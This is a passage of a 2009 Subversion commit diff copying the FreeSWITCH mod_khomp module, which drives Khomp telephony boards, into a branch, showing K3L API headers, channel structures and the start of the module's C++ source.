+	kpeLocalRefError  = 0x40,
+	kpeInternalError  = 0x80
+};
+struct K3L_H100_STATUS
+{
+	int32 Mode;
+	int32 MasterClock;
+	int32 Enable;
+	int32 Reference;
+	int32 SCbus;
+	int32 HMVIP;
+	int32 MVIP90;
+	int32 CT_NETREF;
+	int32 PllLocalRef;
+	int32 PllErrors;		
+};
+enum KEchoLocation
+{
+	kelNetwork	= 0x0,
+	kelCtBus	= 0x1
+};
+enum KCodecIndex
+{
+	kci8kHzALAW	= 0x00,
+	kci8kHzPCM	= 0x01,  
+	kci11kHzPCM	= 0x02,  
+	kci8kHzGSM	= 0x03, 
+	kci8kHzADPCM= 0x04, 
+	kci8kHzULAW	= 0x05,
+	kci8kHzG729 = 0x06,
+	kci8kHziLBC = 0x07,
+	kciLastCodecEntryMark
+};
+enum KEchoCancellerConfig
+{
+    keccNotPresent,
+    keccOneSingleBank,
+    keccOneDoubleBank,
+    keccTwoSingleBank,
+    keccTwoDoubleBank,
+    keccFail
+};
+struct K3L_DEVICE_CONFIG
+{
+	int32 LinkCount;
+	int32 ChannelCount;
+	int32 EnabledChannelCount;
+	int32 MixerCount;
+	int32 MixerCapacity;
+	int32 WorkStatus;
+	int32 DeviceModel;		
+	int32 H100_Mode;		
+	int32 PciBus;
+	int32 PciSlot;
+	int32 PlayerCount;
+	int32 VoIPChannelCount;
+    int32 CTbusCount;
+    KEchoCancellerConfig EchoConfig;
+    KEchoLocation EchoLocation;
+	sbyte SerialNumber[ KMAX_SERIAL_NUMBER ];
+};
+
+typedef K3L_DEVICE_CONFIG K3L_E1_DEVICE_CONFIG;
+typedef K3L_DEVICE_CONFIG K3L_FX_DEVICE_CONFIG;
+struct K3L_API_CONFIG
+{
+	int32 MajorVersion;
+	int32 MinorVersion;
+	int32 BuildVersion;
+    int32 SvnRevision;
+	int32 RawCmdLogging;
+	int32 VpdVersionNeeded;
+	sbyte StrVersion[ KMAX_STR_VERSION ];
+};
+struct K3L_LINK_CONFIG
+{
+	KSignaling Signaling;
+	int32 IncomingDigitsRequest;
+	int32 IdentificationRequestPos;
+	int32 ChannelCount;
+	int32 ReceivingClock;
+	sbyte NumberA[ KMAX_DIAL_NUMBER + 1 + 3 ]; 
+};
+struct K3L_CHANNEL_CONFIG
+{
+	KSignaling Signaling;
+    int32 AutoEnableFeatures;   
+    int32 CapableFeatures;      
+};
+struct K3L_E1600A_FW_CONFIG
+{
+	int32 MfcExchangersCount;
+	int32 MonitorBufferSize;
+	sbyte FwVersion[ KMAX_STR_VERSION ];
+	sbyte DspVersion[ KMAX_DSP_NAME ];
+};
+struct K3L_E1600B_FW_CONFIG
+{
+	int32 AudioBufferSize;
+	int32 FilterCount;
+	int32 MixerCount;
+	int32 MixerCapacity;
+	sbyte FwVersion[ KMAX_STR_VERSION ];
+	sbyte DspVersion[ KMAX_DSP_NAME ];
+};
+typedef K3L_E1600B_FW_CONFIG K3L_GSM40_FW_CONFIG;
+typedef K3L_E1600B_FW_CONFIG K3L_FXO80_FW_CONFIG;
+struct K3L_COMMAND
+{
+	int32 Object;			
+	int32 Cmd;				
+	byte *Params;			
+};
+
+enum KEventObjectId
+{
+	koiDevice		= 0x00,
+	koiChannel		= 0x01,
+	koiPlayer		= 0x02,
+	koiLink			= 0x03,
+    koiSystem       = 0x04
+};
+
+struct K3L_EVENT
+{
+	int32 Code;				
+	int32 AddInfo;			
+	int32 DeviceId;			
+	int32 ObjectInfo;		
+	void *Params;			
+	int32 ParamSize;		
+	int32 ObjectId;			
+};
+struct KIncomingSeizeParams
+{
+	sbyte NumberB[ KMAX_DIAL_NUMBER + 1 ];
+	sbyte NumberA[ KMAX_DIAL_NUMBER + 1 ];
+	sbyte Padding[2];  
+};
+struct KCtbusCommand
+{
+	int32 Stream;
+	int32 TimeSlot;
+	int32 Enable;
+};
+struct KUserInformation
+{
+    int32 ProtocolDescriptor;
+    int32 UserInfoLength;
+    byte  UserInfo[ KMAX_USER_USER_LEN ];
+};
+struct KISDNSubaddressInformation
+{
+    KQ931TypeOfSubaddress TypeOfSubaddress;
+    bool  OddNumberOfSignals;
+    int32 InformationLength;
+    byte  Information[ KMAX_SUBADRESS_INFORMATION_LEN ];
+};
+struct KISDNSubaddresses
+{
+    KISDNSubaddressInformation Called;
+    KISDNSubaddressInformation Calling;
+};
+enum KLinkErrorCounter
+{
+	klecChangesToLock		=  0,
+	klecLostOfSignal		=  1,
+	klecAlarmNotification   =  2,
+	klecLostOfFrame         =  3,
+	klecLostOfMultiframe    =  4,
+	klecRemoteAlarm			=  5,
+	klecUnknowAlarm			=  6,
+	klecPRBS				=  7,
+	klecWrogrBits			=  8,
+	klecJitterVariation		=  9,
+	klecFramesWithoutSync	= 10,
+	klecMultiframeSignal	= 11,
+	klecFrameError			= 12,
+	klecBipolarViolation	= 13,
+	klecCRC4				= 14,
+	klecCount				= 15
+};
+struct K3L_LINK_ERROR_COUNTER
+{
+	int32 ErrorCounters[ klecCount ];
+};
+struct KSipData
+{
+    int32 DataLength;
+    byte  Data[ KMAX_SIP_DATA ];
+};
+
+enum KLibParams
+{
+	klpDebugFirmware,           
+    klpResetFwOnStartup,		
+    klpResetFwOnShutdown,       
+    klpSeizureEventCompat,      
+    klpDisableTDMBufferWarnings,
+    klpDisableInternalVoIP,     
+    klpLogCallControl,          
+    klpDoNotLogApiInterface,    
+	klpMaxParams
+};
+
+typedef stt_code ( Kstdcall K3L_CALLBACK )();
+typedef stt_code ( Kstdcall K3L_MONITOR_CALLBACK )( byte *, byte );
+typedef stt_code ( Kstdcall K3L_EVENT_CALLBACK )( int32 Object, K3L_EVENT * );
+typedef stt_code ( Kstdcall *K3L_THREAD_CALLBACK )( void * );
+typedef void	 ( Kstdcall K3L_AUDIO_CALLBACK )( int32 DevId, int32 Channel, byte *Buffer, int32 Size );
+#if __GNUC__ >= 4
+#pragma GCC visibility push(default)
+#endif
+extern "C"
+{
+sbyte *Kstdcall k3lStart( int32 Major, int32 Minor, int32 Build );
+void Kstdcall k3lStop();
+void Kstdcall k3lRegisterEventHandler( K3L_EVENT_CALLBACK *Function );
+void Kstdcall k3lRegisterAudioListener( K3L_AUDIO_CALLBACK *Player, K3L_AUDIO_CALLBACK *Recorder );
+int32 Kstdcall k3lSendCommand( int32 DeviceId, K3L_COMMAND *Cmd );
+int32 Kstdcall k3lSendRawCommand( int32 DeviceId, int32 IntfId, void *Command, int32 CmdSize );
+int32 Kstdcall k3lRegisterMonitor( K3L_MONITOR_CALLBACK *EventMonitor, K3L_MONITOR_CALLBACK *CommandMonitor, K3L_MONITOR_CALLBACK *BufferMonitor );
+int32 Kstdcall k3lGetDeviceConfig( int32 DeviceId, int32 Object, void *Data, int32 DataSize );
+int32 Kstdcall k3lGetDeviceStatus( int32 DeviceId, int32 Object, void *Data, int32 DataSize );
+int32 Kstdcall k3lGetDeviceCount();
+int32 Kstdcall k3lGetDeviceType( int32 DeviceId );
+int32 Kstdcall k3lGetEventParam( K3L_EVENT *Evt, const sbyte *Name, sbyte *Buffer, int32 BufferSize );
+int32 Kstdcall k3lSetGlobalParam( int32 ParamIndex, int32 ParamValue );
+}
+#if __GNUC__ >= 4
+#pragma GCC visibility pop
+#endif
+#endif
+
+
+enum KISDNDebugFlag
+{
+    kidfQ931                        = 0x01,
+    kidfLAPD                        = 0x02,
+    kidfSystem                      = 0x04,
+    kidfInvalid                     = 0x08,
+};
+
+#define CM_VOIP_START_DEBUG      0x20
+#define CM_VOIP_STOP_DEBUG       0x21
+#define CM_VOIP_DUMP_STAT        0x22
+
+#define CM_ISDN_DEBUG            0x24
+
+#define CM_PING     0x123456
+#define EV_PONG     0x654321
+
+#define CM_LOG_REQUEST                  0x100
+#define CM_LOG_CREATE_DISPATCHER        0x101
+#define CM_LOG_DESTROY_DISPATCHER       0x102
+
+#endif /* INCLUDED_K3LDEFS_H */

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/k3lDefs.h

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/k3lDefs.h (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/include/k3lDefs.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/k3lDefs.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/k3lDefs.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,66 @@
+/*  
+    KHOMP endpoint provider for FreeSWITCH(tm)
+    Copyright (C) 2007-2009 Khomp Ind. & Com.  
+  
+  The contents of this file are subject to the Mozilla Public License Version 1.1
+  (the "License"); you may not use this file except in compliance with the
+  License. You may obtain a copy of the License at http://www.mozilla.org/MPL/
+
+  Software distributed under the License is distributed on an "AS IS" basis,
+  WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for
+  the specific language governing rights and limitations under the License.
+
+  Alternatively, the contents of this file may be used under the terms of the
+  "GNU Lesser General Public License 2.1" license (the “LGPL" License), in which
+  case the provisions of "LGPL License" are applicable instead of those above.
+
+  If you wish to allow use of your version of this file only under the terms of
+  the LGPL License and not to allow others to use your version of this file under
+  the MPL, indicate your decision by deleting the provisions above and replace them
+  with the notice and other provisions required by the LGPL License. If you do not
+  delete the provisions above, a recipient may use your version of this file under
+  either the MPL or the LGPL License.
+
+  The LGPL header follows below:
+
+    This library is free software; you can redistribute it and/or  
+    modify it under the terms of the GNU Lesser General Public  
+    License as published by the Free Software Foundation; either  
+    version 2.1 of the License, or (at your option) any later version.  
+  
+    This library is distributed in the hope that it will be useful,  
+    but WITHOUT ANY WARRANTY; without even the implied warranty of  
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU  
+    Lesser General Public License for more details.  
+  
+    You should have received a copy of the GNU Lesser General Public License
+    along with this library; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA 
+  
+*/
+
+#ifndef INCLUDED_K3LDEFS_H
+#define INCLUDED_K3LDEFS_H
+
+enum KISDNDebugFlag
+{
+    kidfQ931                        = 0x01,
+    kidfLAPD                        = 0x02,
+    kidfSystem                      = 0x04,
+    kidfInvalid                     = 0x08,
+};
+
+#define CM_VOIP_START_DEBUG      0x20
+#define CM_VOIP_STOP_DEBUG       0x21
+#define CM_VOIP_DUMP_STAT        0x22
+
+#define CM_ISDN_DEBUG            0x24
+
+#define CM_PING     0x123456
+#define EV_PONG     0x654321
+
+#define CM_LOG_REQUEST                  0x100
+#define CM_LOG_CREATE_DISPATCHER        0x101
+#define CM_LOG_DESTROY_DISPATCHER       0x102
+
+#endif /* INCLUDED_K3LDEFS_H */

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/k3lVersion.h

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/k3lVersion.h (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/include/k3lVersion.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/k3lVersion.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/k3lVersion.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,9 @@
+#ifndef k3lVersion_h
+#define k3lVersion_h
+
+#define k3lApiMajorVersion	2
+#define k3lApiMinorVersion	0
+#define k3lApiBuildVersion	0
+
+#endif
+

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/khomp_pvt.h

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/khomp_pvt.h (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/include/khomp_pvt.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/khomp_pvt.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/khomp_pvt.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,140 @@
+#ifndef _KHOMP_PVT_H_
+#define _KHOMP_PVT_H_
+
+#include "globals.h"
+#include "mod_khomp.h"
+
+#define KHOMP_PACKET_SIZE 16
+
+/*!
+ \brief This struct holds a static linked list representing all the Khomp channels
+        found in the host. It's also a place holder for session objects and some
+        other opaque members used by the module.
+ */
+struct KhompPvt
+{
+
+    typedef std::vector < KhompPvt * >        PvtVectorType; /*!< Collection of pointers of KhompPvts */
+    typedef std::vector < PvtVectorType >   PvtVector2Type;  /*!< Collection of PvtVectorType */
+    typedef PvtVector2Type KhompPvtVector;                   /*!< A bidimensional array o KhompPvts, meaning [board][channel] */
+
+    K3LAPI::target          _target;    /*!< The card/device pair to bind this pvt to */
+    switch_core_session_t * _session;   /*!< The session to which this pvt is associated with */
+
+    unsigned int flags; //TODO: Alterar o nome depois
+
+    switch_codec_t _read_codec;
+    switch_codec_t _write_codec;
+
+    switch_frame_t _read_frame;
+
+    switch_buffer_t * _audio_buffer;    /*!< Audio buffer used to write data in the khomp callback and read by FS callback */
+
+    unsigned char _databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
+
+    switch_caller_profile_t *_caller_profile;
+
+    switch_mutex_t *_mutex;
+    switch_mutex_t *flag_mutex; //TODO: Alterar o nome depois
+
+    unsigned int _KDeviceId;    /*!< Represent de board we are making the call from */
+    unsigned int _KChannelId;   /*!< Represent the channel we are making the call from */
+
+    KhompPvt(K3LAPI::target & target)
+        : _target(target), _session(NULL) {};
+
+    K3LAPI::target target()
+    {
+        return _target;
+    }
+
+    void session(switch_core_session_t * newSession)
+    {
+        _session = newSession;
+    }
+
+    switch_core_session_t * session()
+    {
+        return _session;
+    }
+
+    int32 get_audio_dsp();
+
+    bool obtain_both(void);
+    bool obtain_rx(bool with_delay);
+    bool obtain_tx(void);
+
+    bool start_stream(void);
+    bool stop_stream(void);
+
+    bool start_listen(bool conn_rx = true);
+    bool stop_listen(void);
+
+    /* static stuff */
+    static switch_mutex_t *_pvts_mutex;
+
+    static KhompPvtVector _pvts; /*!< Static structure that contains all the pvts. Will be initialized by KhompPvt::initialize */
+
+    static KhompPvt * khompPvt(int32 device, int32 object)
+    {
+        if (!Globals::_k3lapi.valid_channel(device, object))
+            throw K3LAPI::invalid_channel(device, object);
+
+        return _pvts[device][object];
+    }
+
+    static KhompPvt * khompPvt(K3LAPI::target & target)
+    {
+        return _pvts[target.device][target.object];
+    }
+
+
+    /*!
+      \brief Lookup channels and boards when dialed.
+      \param allocation_string The dialstring as put on Dialplan. [Khomp/[a|A|0-board_high]/[a|A|0-channel_high]/dest].
+      \param new_session Session allocated for this call.
+      \param[out] Cause returned. Returns NULL if suceeded if not, the proper cause.
+      \return KhompPvt to be used on the call.
+      */
+    static KhompPvt * find_channel(char* allocation_string, switch_core_session_t * new_session, switch_call_cause_t * cause);
+    
+    static void initialize(void)
+    {
+        switch_mutex_init(&_pvts_mutex, SWITCH_MUTEX_NESTED, Globals::_module_pool);
+        
+        for (unsigned dev = 0; dev < Globals::_k3lapi.device_count(); dev++)
+        {
+            _pvts.push_back(std::vector<KhompPvt*>());
+
+            for (unsigned obj = 0; obj < Globals::_k3lapi.channel_count(dev); obj++)
+            {
+                K3LAPI::target tgt(Globals::_k3lapi, K3LAPI::target::CHANNEL, dev, obj);
+                KhompPvt * pvt = new KhompPvt(tgt);
+                pvt->_KDeviceId = dev;
+                pvt->_KChannelId = obj;
+                pvt->_session = NULL;
+                _pvts.back().push_back(pvt);
+                Globals::_k3lapi.command(dev, obj, CM_DISCONNECT, NULL); 
+            }
+        }
+    }
+
+    static void terminate()
+    {
+        switch_mutex_lock(_pvts_mutex);
+        
+        for(KhompPvtVector::iterator it_board = _pvts.begin(); it_board != _pvts.end(); it_board++)
+        {
+            for(PvtVectorType::iterator it_channel = it_board->begin(); it_channel != it_board->begin(); it_channel++)
+            {
+                KhompPvt * pvt = *it_channel;
+                delete pvt;
+            }
+        }
+    }
+    
+};
+
+
+
+#endif /* _KHOMP_PVT_H_*/

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/mod_khomp.h

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/mod_khomp.h (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/include/mod_khomp.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/mod_khomp.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/mod_khomp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,86 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Joao Mesquita <mesquita (at) khomp.com.br>
+ * Raul Fragoso <raulfragoso (at) gmail.com>
+ *
+ *
+ * mod_khomp.c -- Khomp board Endpoint Module
+ *
+ */
+
+/**
+  \mainpage Khomp board Endpoint Module
+  
+  \section Introduction
+  This module has been developed to make a nice, affordable brazilian board
+  called Khomp (http://www.khomp.com.br) compatible with FreeSWITCH.
+  It's main features are MFC-R2 native compatibility and the GSM boards.
+  This module is supported by the manufacturer.
+
+  \section Contributors
+  \li João Mesquita <jmesquita (at) gmail.com>
+  \li Raul Fragoso <raulfragoso (at) gmail.com>
+  \li Khomp development team
+  */
+
+/**
+ * @file mod_khomp.h
+ * @brief Khomp Endpoint Module
+ * @see mod_khomp
+ */
+#ifndef _MOD_KHOMP_H_
+#define _MOD_KHOMP_H_
+
+
+#define KHOMP_SYNTAX "khomp show [info|links|channels]"
+
+#include "globals.h"
+#include "khomp_pvt.h"
+#include "opt.h"
+
+/*!
+ \brief Defined by mod_reference, defines statuses for the switch_channel
+ \param TFLAG_IO Enables the IO state of a channel
+ \param TFLAG_INBOUND Sets a channel as inbound
+ \param TFLAG_OUTBOUND Sets a channel as outbound
+ */
+typedef enum
+{
+    TFLAG_IO = (1 << 0),
+    TFLAG_INBOUND = (1 << 1),
+    TFLAG_OUTBOUND = (1 << 2),
+    TFLAG_DTMF = (1 << 3),
+    TFLAG_VOICE = (1 << 4),
+    TFLAG_HANGUP = (1 << 5),
+    TFLAG_LINEAR = (1 << 6),
+    TFLAG_CODEC = (1 << 7),
+    TFLAG_BREAK = (1 << 8),
+    TFLAG_STREAM = (1 << 9),
+    TFLAG_LISTEN = (1 << 10)
+}
+TFLAGS;
+
+#endif /* _MOD_KHOMP_H_ */

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/opt.h

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/opt.h (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/include/opt.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/opt.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/include/opt.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,42 @@
+#ifndef _OPT_H_
+#define _OPT_H_
+
+struct Opt
+{
+
+    typedef enum {
+            GFLAG_MY_CODEC_PREFS = (1 << 0)
+    } GFLAGS;
+
+
+    static void initialize(void);
+    static void obtain(void);
+
+
+protected:
+
+    static void load_configuration(const char *, const char **, bool show_errors = true);
+    static void clean_configuration(void);
+
+
+public:
+    static bool _debug;
+    static char *_ip;
+    static int _port;
+    static char *_dialplan;
+    static char *_codec_string;
+    static char *_codec_order[]; //[SWITCH_MAX_CODECS]
+    static int _codec_order_last;
+    static char *_codec_rates_string;
+    static char *_codec_rates[]; //[SWITCH_MAX_CODECS]
+    static int _codec_rates_last;
+
+
+
+};
+
+
+
+
+
+#endif /* _OPT_H_ */

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/mod_khomp.cpp

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/mod_khomp.cpp (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/mod_khomp.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/mod_khomp.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/mod_khomp.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1267 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Joao Mesquita <mesquita (at) khomp.com.br>
+ * Raul Fragoso <raulfragoso (at) gmail.com>
+ *
+ *
+ * mod_khomp.c -- Khomp board Endpoint Module
+ *
+ */
+
+/**
+ * @file mod_khomp.cpp
+ * @brief Khomp Endpoint Module
+ * @see mod_khomp
+ */
+
+#include "mod_khomp.h"
+
+/*!
+ \brief Callback generated from K3L API for every new event on the board.
+ \param[in] obj Object ID (could be a channel or a board, depends on device type) which generated the event.
+ \param[in] e The event itself.
+ \return ksSuccess if the event was treated
+ \see K3L_EVENT Event specification
+ */
+int32 Kstdcall khomp_event_callback(int32 obj, K3L_EVENT * e);
+
+/*!
+ \brief Callback generated from K3L API everytime audio is available on the board.
+ @param[in] deviceid Board on which we get the event
+ @param[in] objectid The channel we are getting the audio from
+ @param[out] read_buffer The audio buffer itself (RAW)
+ @param[in] read_size The buffer size, meaning the amount of data to be read
+ \return ksSuccess if the event was treated
+ */
+void Kstdcall khomp_audio_listener(int32 deviceid, int32 objectid,
+                                          byte * read_buffer, int32 read_size);
+
+/*!
+  \brief Load the module. Expadend by a FreeSWITCH macro.
+  Things we do here:
+  \li Initialize a static structure on KhompPvt
+  \li Load the configuration
+  \li Start the K3L API, responsible for connecting to KServer
+  \li Register mod APIs and APPs
+  \li Register audio callback for KServer
+  \li Register event callback for KServer
+  \see Opt Where all the configs are handled
+  \see khomp_event_callback To where we bind the event handler
+  \see khomp_audio_listener To where we bind the audio handlers
+  */
+SWITCH_MODULE_LOAD_FUNCTION(mod_khomp_load);
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_khomp_shutdown);
+SWITCH_MODULE_DEFINITION(mod_khomp, mod_khomp_load, mod_khomp_shutdown, NULL);
+
+/* State handlers for FreeSWITCH */
+switch_status_t channel_on_init(switch_core_session_t *session);
+switch_status_t channel_on_routing(switch_core_session_t *session);
+switch_status_t channel_on_execute(switch_core_session_t *session);
+switch_status_t channel_on_hangup(switch_core_session_t *session);
+switch_status_t channel_on_exchange_media(
+        switch_core_session_t *session);
+switch_status_t channel_on_soft_execute(switch_core_session_t *session);
+switch_status_t channel_on_destroy(switch_core_session_t *session);
+
+switch_state_handler_table_t khomp_state_handlers = {
+    /*.on_init */ channel_on_init,
+    /*.on_routing */ channel_on_routing,
+    /*.on_execute */ channel_on_execute,
+    /*.on_hangup */ channel_on_hangup,
+    /*.on_exchange_media */ channel_on_exchange_media,
+    /*.on_soft_execute */ channel_on_soft_execute,
+	/*.on_consume_media */ NULL,
+    /*.on_hibernate */ NULL,
+    /*.on_reset */ NULL,
+    /*.on_park*/ NULL,
+    /*.on_reporting*/ NULL,
+    /*.on_destroy*/ channel_on_destroy    
+};
+
+/* Callbacks for FreeSWITCH */
+switch_call_cause_t channel_outgoing_channel(
+        switch_core_session_t *session, 
+        switch_event_t *var_event,
+        switch_caller_profile_t *outbound_profile,
+        switch_core_session_t **new_session, 
+        switch_memory_pool_t **pool, 
+        switch_originate_flag_t flags);
+switch_status_t channel_read_frame(switch_core_session_t *session, 
+        switch_frame_t **frame, 
+        switch_io_flag_t flags, 
+        int stream_id);
+switch_status_t channel_write_frame(switch_core_session_t *session, 
+        switch_frame_t *frame, 
+        switch_io_flag_t flags, 
+        int stream_id);
+switch_status_t channel_kill_channel(switch_core_session_t *session, 
+        int sig);
+switch_status_t channel_send_dtmf(switch_core_session_t *session, 
+        const switch_dtmf_t *dtmf);
+switch_status_t channel_receive_message(switch_core_session_t *session, 
+        switch_core_session_message_t *msg);
+switch_status_t channel_receive_event(switch_core_session_t *session, 
+        switch_event_t *event);
+
+
+switch_io_routines_t khomp_io_routines = {
+    /*.outgoing_channel */ channel_outgoing_channel,
+    /*.read_frame */ channel_read_frame,
+    /*.write_frame */ channel_write_frame,
+    /*.kill_channel */ channel_kill_channel,
+    /*.send_dtmf */ channel_send_dtmf,
+    /*.receive_message */ channel_receive_message,
+    /*.receive_event */ channel_receive_event
+};
+
+/* Macros to define specific API functions */
+SWITCH_STANDARD_API(khomp);
+
+/*!
+ \brief Print a system summary for all the boards. [khomp show info]
+ */
+void printSystemSummary(switch_stream_handle_t* stream);
+/*!
+ \brief Print link status. [khomp show links]
+ */
+void printLinks(switch_stream_handle_t* stream, unsigned int device, 
+        unsigned int link);
+/*!
+ \brief Print board channel status. [khomp show channels]
+ */
+void printChannels(switch_stream_handle_t* stream, unsigned int device, 
+        unsigned int link);
+
+
+
+/*!
+ \brief Will init part of our private structure and setup all the read/write
+ buffers along with the proper codecs. Right now, only PCMA.
+ */
+switch_status_t tech_init(KhompPvt *tech_pvt, switch_core_session_t *session)
+{
+    tech_pvt->flags = 0;
+    
+    tech_pvt->_read_frame.data = tech_pvt->_databuf;
+    tech_pvt->_read_frame.buflen = sizeof(tech_pvt->_databuf);
+
+    switch_mutex_init(&tech_pvt->_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+    switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+    
+    switch_core_session_set_private(session, tech_pvt);
+
+    tech_pvt->_session = session;
+
+    if (switch_core_codec_init(&tech_pvt->_read_codec,
+                               "PCMA",
+                               NULL,
+                               8000,
+                               20,
+                               1,
+                               SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
+                               NULL, switch_core_session_get_pool(tech_pvt->_session)) != SWITCH_STATUS_SUCCESS) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't load codec?\n");
+        return SWITCH_STATUS_GENERR;
+    } else {
+        if (switch_core_codec_init(&tech_pvt->_write_codec,
+                                   "PCMA",
+                                   NULL,
+                                   8000,
+                                   20,
+                                   1,
+                                   SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
+                                   NULL, switch_core_session_get_pool(tech_pvt->_session)) != SWITCH_STATUS_SUCCESS) {
+            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't load codec?\n");
+            switch_core_codec_destroy(&tech_pvt->_read_codec);
+            return SWITCH_STATUS_GENERR;
+        }
+    }
+
+    switch_core_session_set_read_codec(tech_pvt->_session, &tech_pvt->_read_codec);
+    switch_core_session_set_write_codec(tech_pvt->_session, &tech_pvt->_write_codec);
+
+    switch_set_flag_locked(tech_pvt, TFLAG_CODEC);
+
+    tech_pvt->_read_frame.codec = &tech_pvt->_read_codec;
+
+    switch_set_flag_locked(tech_pvt, TFLAG_IO);
+
+    return SWITCH_STATUS_SUCCESS;
+
+}
+
+/*!
+   \brief State methods they get called when the state changes to the specific state 
+   returning SWITCH_STATUS_SUCCESS tells the core to execute the standard state method next
+   so if you fully implement the state you can return SWITCH_STATUS_FALSE to skip it.
+*/
+switch_status_t channel_on_init(switch_core_session_t *session)
+{
+    KhompPvt * tech_pvt = static_cast< KhompPvt* >(switch_core_session_get_private(session));
+    assert(tech_pvt != NULL);
+
+    switch_channel_t *channel = switch_core_session_get_channel(session);
+    assert(channel != NULL);
+
+    switch_set_flag_locked(tech_pvt, TFLAG_IO);
+
+    /* Move channel's state machine to ROUTING. This means the call is trying
+       to get from the initial start where the call because, to the point
+       where a destination has been identified. If the channel is simply
+       left in the initial state, nothing will happen. */
+    switch_channel_set_state(channel, CS_ROUTING);
+
+    switch_mutex_lock(Globals::_mutex);
+    Globals::_calls++;
+    switch_mutex_unlock(Globals::_mutex);
+
+    return SWITCH_STATUS_SUCCESS;
+}
+
+switch_status_t channel_on_routing(switch_core_session_t *session)
+{
+    switch_channel_t *channel = NULL;
+    KhompPvt *tech_pvt = NULL;
+
+    channel = switch_core_session_get_channel(session);
+    assert(channel != NULL);
+
+    tech_pvt = static_cast<KhompPvt *>(switch_core_session_get_private(session));
+    assert(tech_pvt != NULL);
+
